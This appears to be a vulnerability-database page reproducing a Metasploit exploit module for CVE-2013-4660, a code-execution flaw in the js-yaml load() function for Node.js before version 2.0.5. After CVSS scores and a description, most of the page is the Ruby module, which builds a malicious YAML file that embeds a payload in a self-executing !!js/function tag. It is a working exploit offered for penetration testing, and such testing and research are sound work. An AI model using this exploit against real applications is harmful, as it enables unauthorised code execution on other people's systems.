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Neal Poole, joev <[email protected]>MSF:EXPLOIT-MULTI-FILEFORMAT-NODEJS_JS_YAML_LOAD_CODE_EXEC-

HistorySep 16, 2013 - 6:37 p.m.

Nodejs js-yaml load() Code Execution

2013-09-1618:37:16

Neal Poole, joev <[email protected]>

www.rapid7.com

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

JSON

This module can be used to abuse node.js applications that parse user-supplied YAML input using the load() function from the ‘js-yaml’ package < 2.0.5, which doesn’t properly handle the unsafe !!js/function tag, allowing to specify a self-executing function which results on execution of arbitrary javascript code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Nodejs js-yaml load() Code Execution',
      'Description'    => %q{
        This module can be used to abuse node.js applications that parse user-supplied YAML input
        using the load() function from the 'js-yaml' package < 2.0.5, which doesn't properly handle
        the unsafe !!js/function tag, allowing to specify a self-executing function which results
        on execution of arbitrary javascript code.
      },
      'Author'         =>
        [
          'Neal Poole', # Vulnerability discovery
          'joev' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2013-4660'],
          ['OSVDB', '94656'],
          ['BID', '60867'],
          ['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
        ],
      'Platform'       => 'nodejs',
      'Arch'           => ARCH_NODEJS,
      'Privileged'     => false,
      'Targets'        =>	[['Automatic', {}]],
      'DisclosureDate' => '2013-06-28',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
    ])
  end

  def exploit
    p = payload.encoded
    print_status("Creating '#{datastore['FILENAME']}' file...")
    file_create("a: !!js/function >\n  (function(){ #{p} })();")
  end
end